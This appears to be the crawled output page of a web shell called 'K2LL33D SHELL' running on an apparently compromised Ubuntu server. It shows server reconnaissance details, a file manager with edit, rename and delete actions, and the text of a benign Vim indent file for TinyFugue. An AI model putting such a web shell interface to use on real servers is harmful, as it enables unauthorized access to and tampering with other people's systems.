K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / vim / vim74 / indent /
server ip : 104.21.89.46

your ip : 172.71.254.238

H O M E


Filename/usr/share/vim/vim74/indent/tf.vim
Size1.46 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified03-Jan-2014 03:40
Last accessed06-Jul-2025 12:48
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
" Vim indent file
" Language: tf (TinyFugue)
" Maintainer: Christian J. Robinson <[email protected]>
" URL: http://christianrobinson.name/vim/indent/tf.vim
" Last Change: 2002 May 29

" Only load this indent file when no other was loaded.
if exists("b:did_indent")
finish
endif
let b:did_indent = 1

setlocal indentexpr=GetTFIndent()
setlocal indentkeys-=0{,0} indentkeys-=0# indentkeys-=:
setlocal indentkeys+==/endif,=/then,=/else,=/done,0;

" Only define the function once:
if exists("*GetTFIndent")
finish
endif

function GetTFIndent()
" Find a non-blank line above the current line:
let lnum = prevnonblank(v:lnum - 1)

" No indent for the start of the file:
if lnum == 0
return 0
endif

let ind = indent(lnum)
let line = getline(lnum)

" No indentation if the previous line didn't end with "\":
" (Could be annoying, but it lets you know if you made a mistake.)
if line !~ '\\$'
return 0
endif

if line =~ '\(/def.*\\\|/for.*\(%;\s*\)\@\<!\\\)$'
let ind = ind + &sw
elseif line =~ '\(/if\|/else\|/then\)'
if line !~ '/endif'
let ind = ind + &sw
endif
elseif line =~ '/while'
if line !~ '/done'
let ind = ind + &sw
endif
endif

let line = getline(v:lnum)

if line =~ '\(/else\|/endif\|/then\)'
if line !~ '/if'
let ind = ind - &sw
endif
elseif line =~ '/done'
if line !~ '/while'
let ind = ind - &sw
endif
endif

" Comments at the beginning of a line:
if line =~ '^\s*;'
let ind = 0
endif


return ind

endfunction